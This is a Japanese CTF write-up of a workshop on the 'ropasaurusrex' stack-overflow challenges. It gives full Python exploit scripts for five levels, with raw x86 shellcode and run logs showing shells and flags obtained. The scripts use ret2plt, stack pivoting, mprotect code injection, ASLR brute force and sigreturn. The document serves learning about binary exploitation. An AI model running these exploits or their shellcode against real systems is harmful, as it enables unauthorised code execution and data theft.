katagaitaiCTF ropasaurusrex

7/5(日)に、katagaitaiCTFに参加してきた。
特に目的はbataさんのpwnable. 資料もさることながら説明もわかりやすく、Stack overflowについての知見を多く得た会だった。

題材はPlaid CTFの過去問である"ropasaurusrex" で、これを解くhands on と、このバイナリを魔改造した advanced の構成となっていた。独学の曖昧な知識もしっかりと補完できる、とても有意義な内容だった。

このうち、解けたものをWriteupとして書いていこうと思う。
記載時点ではropasaurusrex5 は解けていないが、これも今後解けたら書く。
(その後解けたためこの解法も追記しました)

ropasaurusrex

これはHands onでもやった内容。
バイナリを見ると最大256文字をreadし、その後 "WIN\n" と出力するプログラム。

f:id:f_rin:20150712045310p:plain

[root@ubuntu] # nc localhost 1025
aaa
WIN
[root@ubuntu] #

ただし確保しているBufferは128バイトのため、140文字の後からBuffer over flowが発生する。
なお、いずれの問題もNXとASLRは有効である。

[root@ubuntu] # gdb -q ropasaurusrex
Reading symbols from ropasaurusrex...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ pattc 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
Starting program: /home/rintaro/Desktop/pwn/bin/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'

Program received signal SIGSEGV, Segmentation fault.

(snip)

Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ patto $eip
1094806849 found at offset: 140
gdb-peda$ 

NXが有効なため、スタック上ではシェルコードを実行できない。
ret2plt を用いることで攻略できるため、Stack状態を以下の状態にして、/bin/sh を取得する。

f:id:f_rin:20150719143631p:plain

GOTの write に相当する箇所をsystem関数に書き換えておき、スタックを調整しておくことで、write関数が呼ばれた際にsystem("/bin/sh")が実行される。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1025)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	data = 0x08049620
	offset_system = 0x00040190
	offset_write = 0x000dac50

	buf = "A"*140
	# write(STDOUT, got_write, 4)
	buf += p(plt_write)
	buf += p(p3ret)
	buf += p(1)
	buf += p(got_write)
	buf += p(4)
	# read(STDIN, data, 8)
	buf += p(plt_read)
	buf += p(p3ret)
	buf += p(0)
	buf += p(data)
	buf += p(8)
	# read(STDIN, got_write, 4)
	buf += p(plt_read)
	buf += p(p3ret)
	buf += p(0)
	buf += p(got_write)
	buf += p(4)
	# write(data) # system("/bin/sh")
	buf += p(plt_write)
	buf += p(0xdeadbeef)
	buf += p(data)

	f.write(buf)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_system = libc_base + offset_system
	print "[+] libc_write addr :", format(libc_write,'x')
	print "[+] libc_base addr  :", format(libc_base, 'x')
	print "[+] libc_system addr:", format(libc_system, 'x')
	f.write("/bin/sh\0")
	f.write(p(libc_system))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

これで、flagの読み込みが可能となった。

[root@ubuntu] # python exploit.py r
[+] connect to remote.
[+] libc_write addr : f76acc50
[+] libc_base addr  : f75d2000
[+] libc_system addr: f7612190
ls /home/*/flag*
/home/ropasaurusrex/flag
cat /home/ropasaurusrex/flag
you_cant_stop_the_ropasaurusrex
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex2

ここから魔改造が始まる。
Level2は、入力文字数が160bytesに制限されている。

f:id:f_rin:20150712045439p:plain

ROP可能な領域が充分にないため、Stack PivotによりROP領域を.bssに移して実行する。
Old $EBP 領域に、リターン後に .bss が来るよう "移したい箇所 -4" をセットしておき、その後の leave + ret 命令で $ESP を .bss 領域に持っていく。
前半のstack pivot の部分以外は Level1 と同様のやり方で/bin/shを奪取できた。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1026)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	data = 0x08049620
	offset_system = 0x00040190
	offset_write = 0x000dac50
	bss = 0x08049628 + 0x270
	leave = 0x080482ea

	buf = "A"*136
	buf += p(bss-4)
	# read(STDIN, bss, 72) for stack pivot
	buf += p(plt_read)
	buf += p(leave)
	buf += p(0)
	buf += p(bss)
	buf += p(72)
	# write(STDOUT, got_write, 4)
	buf2 = p(plt_write)
	buf2 += p(p3ret)
	buf2 += p(1)
	buf2 += p(got_write)
	buf2 += p(4)
	# read(STDIN, data, 8)
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(data)
	buf2 += p(8)
	# read(STDIN, got_write, 4)
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(got_write)
	buf2 += p(4)
	# write(data) # system("/bin/sh")
	buf2 += p(plt_write)
	buf2 += p(0xdeadbeef)
	buf2 += p(data)

	f.write(buf)
	f.write(buf2)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_system = libc_base + offset_system
	print "[+] libc_write addr :", format(libc_write,'x')
	print "[+] libc_base addr  :", format(libc_base, 'x')
	print "[+] libc_system addr:", format(libc_system, 'x')
	f.write("/bin/sh\0")
	f.write(p(libc_system))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

最初はbss領域の先頭にESPを持っていっていたため、system関数が呼ばれた後にESPが頭打ちとなり、SIGSEGVで動かなかったため、.bssの先頭から少し先のアドレスを設定する。
注意点が身になる。
ちなみにここからFlag名が簡単には推測できないようになっている。

[root@ubuntu] # python exploit2.py r
[+] connect to remote.
[+] libc_write addr : f767fc50
[+] libc_base addr  : f75a5000
[+] libc_system addr: f75e5190
ls /home/*/flag*
/home/ropasaurusrex2/flag_23296711352720061
cat /home/ropasaurusrex2/flag_23296711352720061
flag{you_cant_stop_the_ropasaurusrex2_but_stack_pivot_help_you!}
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex3

Level3 では、chrootにより /bin 配下を見れなくなっている。
そのため /bin/sh を開くことができない。
以下2通りを考えたが、後者のやり方を実装することにした(mprotectは以前やったことあるのとggったらシェルコードが見つかったため)。

  1. C言語の関数である opendirとreaddir などを利用してファイルを取得し、その後open, read, write でFlagを読み出す
  2. mprotect で.bss領域のRWX権限を書き換え、その領域でコードインジェクションを実行する

ディレクトリ読み出しとファイル読み出しのシェルコードは最初頑張って書いていたが、途中でなんとなくggったらすぐ見つかったので少し後悔した。

(参考)
read-dirのシェルコード
read-fileのシェルコード

追記:あとで伺ったところ、このread-dirのシェルコードもbataさんが書いたものだったらしい。神を見た…

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	# linux/x86/read-dir(STDOUT)
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	# linux/x86/read-file(STDOUT)
	readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_1170037582419425558"

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1027)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	offset_mprotect = 0x000e70d0
	offset_write = 0x000dac50
	bss = 0x08049628 + 0x270
	mprotect_to = 0x08049000
	leave = 0x080482ea

	buf = "A"*136
	buf += p(bss-4)
	# read(STDIN, bss, 80) for stack pivot
	buf += p(plt_read)
	buf += p(leave)
	buf += p(0)
	buf += p(bss)
	buf += p(80)
	# write(STDOUT, got_write, 4)
	buf2 = p(plt_write)
	buf2 += p(p3ret)
	buf2 += p(1)
	buf2 += p(got_write)
	buf2 += p(4)
	# read(STDIN, bss+80, len(shellcode))
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(bss+80)
	buf2 += p(len(shellcode))
	# read(STDIN, got_write, 4)		# read mprotect to got_write
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(got_write)
	buf2 += p(4)
	# write(bss+80)				# mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
	buf2 += p(plt_write)
	buf2 += p(bss+80)
	buf2 += p(mprotect_to)
	buf2 += p(0x1000)
	buf2 += p(7)

	f.write(buf)
	f.write(buf2)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_mprotect = libc_base + offset_mprotect
	print "[+] libc_write addr   :", format(libc_write,'x')
	print "[+] libc_base addr    :", format(libc_base, 'x')
	print "[+] libc_mprotect addr:", format(libc_mprotect, 'x')
	f.write(shellcode)
	f.write(p(libc_mprotect))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

mprotect を実行する際のアドレスは、最初は末尾3ビットが"000"以外のところからやろうとしたら失敗していたため試行錯誤した。
0x1000単位で実行してみるとうまく書き換わったため、ひとつ新しい発見になった。

[root@ubuntu] # python exploit3.py r
input "dir" or "file"
dir
[+] connect to remote.
[+] libc_write addr   : f764ac50
[+] libc_base addr    : f7570000
[+] libc_mprotect addr: f76570d0
..
.
ropasaurusrex3
flag_1170037582419425558
lib
timeout
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***
[root@ubuntu] # 
[root@ubuntu] # 
[root@ubuntu] # python exploit3.py r
input "dir" or "file"
file
[+] connect to remote.
[+] libc_write addr   : f7636c50
[+] libc_base addr    : f755c000
[+] libc_mprotect addr: f76430d0
flag{omg!the_ropasaurusrex3_with_chroot_has_solved!?congrats!!}
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex4

Level4は、Level3に加え、さらに call write() と write@plt が潰されており、libcの情報をリークできない。
また、今回のバイナリはxinetd型で動いているため、ASLRの影響で接続する度にアドレス配置が変わる。
x86のASLRは以前にもBrute Forceで突破して解いたことがあったため、これはピンときた。
これまでに解いた ropasaurusrex について、以下のようなスクリプトを実行し libc のベースアドレスをいくつか見てみる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1028)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	offset_write = 0x000dac50

	buf = "A"*140
	# write(STDOUT, got_write, 4)
	buf += p(plt_write)
	buf += "AAAA"
	buf += p(1)
	buf += p(got_write)
	buf += p(4)

	f.write(buf)
	libc_write = u(f.read(4))

	print "[+] libc_base addr    :", format(libc_write - offset_write, 'x')

if __name__ == '__main__':
	main(sys.argv)

結果(抜粋)

[+] libc_base addr    : f7592000
[+] libc_base addr    : f75e8000
[+] libc_base addr    : f7566000
[+] libc_base addr    : f75db000
[+] libc_base addr    : f755d000
[+] libc_base addr    : f75e4000
[+] libc_base addr    : f7613000
[+] libc_base addr    : f75bf000
[+] libc_base addr    : f7543000
[+] libc_base addr    : f75dd000

x86では、ランダマイズされるアドレス空間が狭い。
例えば、上記結果を見ると左から2bitは固定、3bit目も"5" か "6" のみである。また、末尾3bitも"000"で固定のため、今回はBruteForceでの突破のアプローチで攻める。
BruteForce実施時の libc_base は、上記のうち最小と最大のものの中間値(0xf75ab000)に固定し、読み出せるまでスクリプトを回した。
なお、GOT のアドレスは書き換える手間がないので、.bssに詰むものはシンプルになる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	# linux/x86/read-dir(STDOUT)
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	# linux/x86/read-file(STDOUT)
	readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_326175712236627770"

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	plt_libc_start_main = 0x0804831C
	got_libc_start_main = 0x08049618
	plt_read = 0x804832c
	p3ret = 0x80484b6
	offset_mprotect = 0x000e70d0
	bss = 0x08049628 + 0x270
	mprotect_to = 0x08049000
	leave = 0x080482ea

	# guess
	libc_base = 0xf75ab000
	libc_mprotect = libc_base + offset_mprotect

	i = 1
	while True:
		if(len(argv) == 2 and argv[1] == 'r'):
			print "[+] connect to remote."
			s, f = sock("XXXXXXXXXX", 1028)
		else:
			print "[+] connect to local."
			s, f = sock("127.0.0.1", 1025)

		print "[+] %d..." % i

		buf = "A"*136
		buf += p(bss-4)
		# read(STDIN, bss, 40) for stack pivot
		buf += p(plt_read)
		buf += p(leave)
		buf += p(0)
		buf += p(bss)
		buf += p(40)
		# read(STDIN, bss+40, len(shellcode))
		buf2 = p(plt_read)
		buf2 += p(p3ret)
		buf2 += p(0)
		buf2 += p(bss+40)
		buf2 += p(len(shellcode))
		# mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
		buf2 += p(libc_mprotect)
		buf2 += p(bss+40)
		buf2 += p(mprotect_to)
		buf2 += p(0x1000)
		buf2 += p(7)

		f.write(buf)
		f.write(buf2)

		f.write(shellcode)

		shell(s)
		i += 1

if __name__ == '__main__':
	main(sys.argv)

これでLevel4についてもflagが取得できた。

[root@ubuntu] # python exploit4.py r
input "dir" or "file"
dir
[+] connect to remote.
[+] 1...
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***

(snip)

[+] connect to remote.
[+] 260...
..
ropasaurusrex4
.
flag_326175712236627770
lib
timeout
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***
[+] connect to remote.
[+] 261...
^CTraceback (most recent call last):
  File "exploit4-2.py", line 92, in <module>
    main(sys.argv)
  File "exploit4-2.py", line 88, in main
    shell(s)
  File "exploit4-2.py", line 14, in shell
    t.interact()
  File "/usr/lib/python2.7/telnetlib.py", line 590, in interact
    rfd, wfd, xfd = select.select([self, sys.stdin], [], [])
[root@ubuntu] 
[root@ubuntu] 
[root@ubuntu] # python exploit4.py r
input "dir" or "file"
file
[+] connect to remote.
[+] 1...
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***

(snip)

[+] connect to remote.
[+] 107...
flag{32bit_library_aslr_is_very_weak_so_you_can_defeat_the_ropasaurusrex4!}
*** Connection closed by remote host ***
[+] connect to remote.
[+] 108...
^CTraceback (most recent call last):
  File "exploit4-2.py", line 92, in <module>
    main(sys.argv)
  File "exploit4-2.py", line 88, in main
    shell(s)
  File "exploit4-2.py", line 14, in shell
    t.interact()
  File "/usr/lib/python2.7/telnetlib.py", line 590, in interact
    rfd, wfd, xfd = select.select([self, sys.stdin], [], [])
KeyboardInterrupt
[root@ubuntu] 

ropasaurusrex5

Level5.
bataさん曰く、「libcは甘え」らしい(「libcは甘え」らしいorz)

f:id:f_rin:20150712045810p:plain

libcを使わずにExploitをしなければならない。
今のところまだ解法が思いついていないので、今日の夜までに頑張ってみようと思う。
サーバが落ちた後でも、ローカルでできたら追記する予定。

追記:
Level5も解けたため追記。
Level5は、offset 128 bytes から Return address を書き換え可能。
最初は.text領域のROP芸のみでmprotectのシステムコールを呼び出しシェルコードを実行しようとしていたが、ROPガジェットが足りない。
ここでやり方を見直し(時間かかった…)、sigreturn を呼び出すことで全レジスタの値をStackから復元できることに気付く。

sigreturnが呼び出された際には、Stack上の値を複数レジスタに復元することができる。
このときの構造は、sigcontext構造体の定義のとおりとなる。
なお、システムコール番号はこちらを参照した。

よって、sigreturnを呼び、そのあとは Level3,4 と同じくmprotectを発生させてコードインジェクションというアプローチにする。

Level3のときのmprotect呼び出し直前のレジスタの状態を見てみると以下のとおり。基本はこれに従ってsigcontextの中身を構築する

gdb-peda$ i reg
eax            0x7d         # システムコール番号
ecx            0x1000       # サイズ
edx            0x7          # RWX
ebx            0x8049000    # 開始したい場所
esp            0x80498c4
ebp            0x80498c4
esi            0x0
edi            0x8049614
eip            0xf7fdb425
eflags         0x207
cs             0x23
ss             0x2b
ds             0x2b
es             0x2b
fs             0x0
gs             0x63

しかし最初のsigreturn呼び出し時のeax(システムコール番号)のセット方法がよくわからない。
ここで他の人の解法を参照してみると、Write関数で119文字書き込めると戻り値で119がセットされることがわかる。頭いい…

これを利用し、
write → sigreturn → mprotect → read(shellcode流し込み)→ shellcode の順番に呼び出すことにする。

Level5は、256文字入力可能なため、mprotect発動までに利用できる領域は128bytes分である。
また、sigreturn時にespも書き換わるため、このときにRWX可能な箇所にStack Pivotする。
mprotect後のリターンアドレスは、vuln関数へのポインタとなっているアドレスを指定し、ret2vulnにて再度read関数を実行させる。
このreadで、RWX可能且つ使われていない領域にシェルコードを流し込み、実行する。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, time

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	readfile = '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff'+'/flag'

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1029)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	write_addr = 0x80480d2
	read_addr = 0x80480b8
	text_base = 0x8048000
	int80ret = 0x80480cf
	func_vuln = 0x8048468
	shellcode_addr = 0x8048600

	buf = 'A' * 128
	# mov eax, 119; int 0x80; ret;
	buf += p(write_addr)
	buf += p(int80ret)
	buf += p(1)              # STDOUT,                also gs
	buf += p(text_base)      # write addr,            also fs
	buf += p(119)            # sigreturn syscall num, also es
	# struct sigframe
	buf += p(0x2b)           # ds            from i reg
	buf += p(0)              # edi           not used
	buf += p(0)              # esi           from i reg
	buf += p(0)              # ebp           Null
	buf += p(func_vuln)      # esp           Stack Pivot addr(return addr)
	buf += p(text_base)      # ebx           mprotect to
	buf += p(7)              # edx           PROT_READ|PROT_WRITE|PROT_EXEC
	buf += p(0x1000)         # ecx           size(0x1000)
	buf += p(0x7d)           # eax           system call num(0x7d)
	buf += p(0)              # trapno        Null
	buf += p(0)              # err           Null
	buf += p(int80ret)       # eip           int 0x80; ret;
	buf += p(0x23)           # cs/__csh      from i reg
	buf += p(0x207)          # eflags        from i reg
	buf += p(0)              # esp_at_signal Null
	buf += p(0x2b)           # ss/__ssh      from i reg
	buf += p(0)              # &fpstate      Null
	buf += p(0)              # oldmask       Null
	buf += p(0)              # cr2           Null

	# read(STDIN, tmp addr, len(shellcode))
	buf2 = 'A' * 128
	buf2 += p(read_addr)
	buf2 += p(shellcode_addr)
	buf2 += p(0)
	buf2 += p(shellcode_addr)
	buf2 += p(len(shellcode))

	f.write(buf)
	time.sleep(0.5)
	f.write(buf2)
	f.write(shellcode)

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

途中どうしてもうまくいかず悩んでいたが、bufとbuf2を送り込む前にsleepを入れると想定通りの挙動となった。
今回の攻略は、リモートサーバが停止していたためローカルにて実施。chrootは実施していないためローカルの / 配下が表示されていることがわかる。

[root@ubuntu] # python exploit5.py
input "dir" or "file"
dir
[+] connect to local.
WIN
ELFF�4l4 (	���������$$Q�tWIN
libx32
opt
tmp
srv
home
..
.
var
usr
sbin
cdrom
lib32
media
run
vmlinuz
proc
lib
mnt
bin
sys
dev
boot
initrd.img
etc
root
lost+found
lib64
*** Connection closed by remote host ***
[root@ubuntu] #

sigreturn強い…。x64でもこれは使えそうだ。



それにしても独学でやってきたBOFについて、ここまで丁寧に説明してもらえたことは今までのCTF活動の中で一番と言ってよいほど有意義だったと思う。
このごろ燻ぶっていたけれど、久しぶりにやる気に火がついた気がした。

まだ学ぶことも多いし、周りのスピードも信じられないぐらい早い。
そんな中でも、こんなに良いきっかけを与えたくれたkatagaitaiや運営の方々には大変感謝したい。
今年中には、もっと高いところから取り組めるよう、また外に向かって良い貢献ができるよう、精進していこうと強く思う。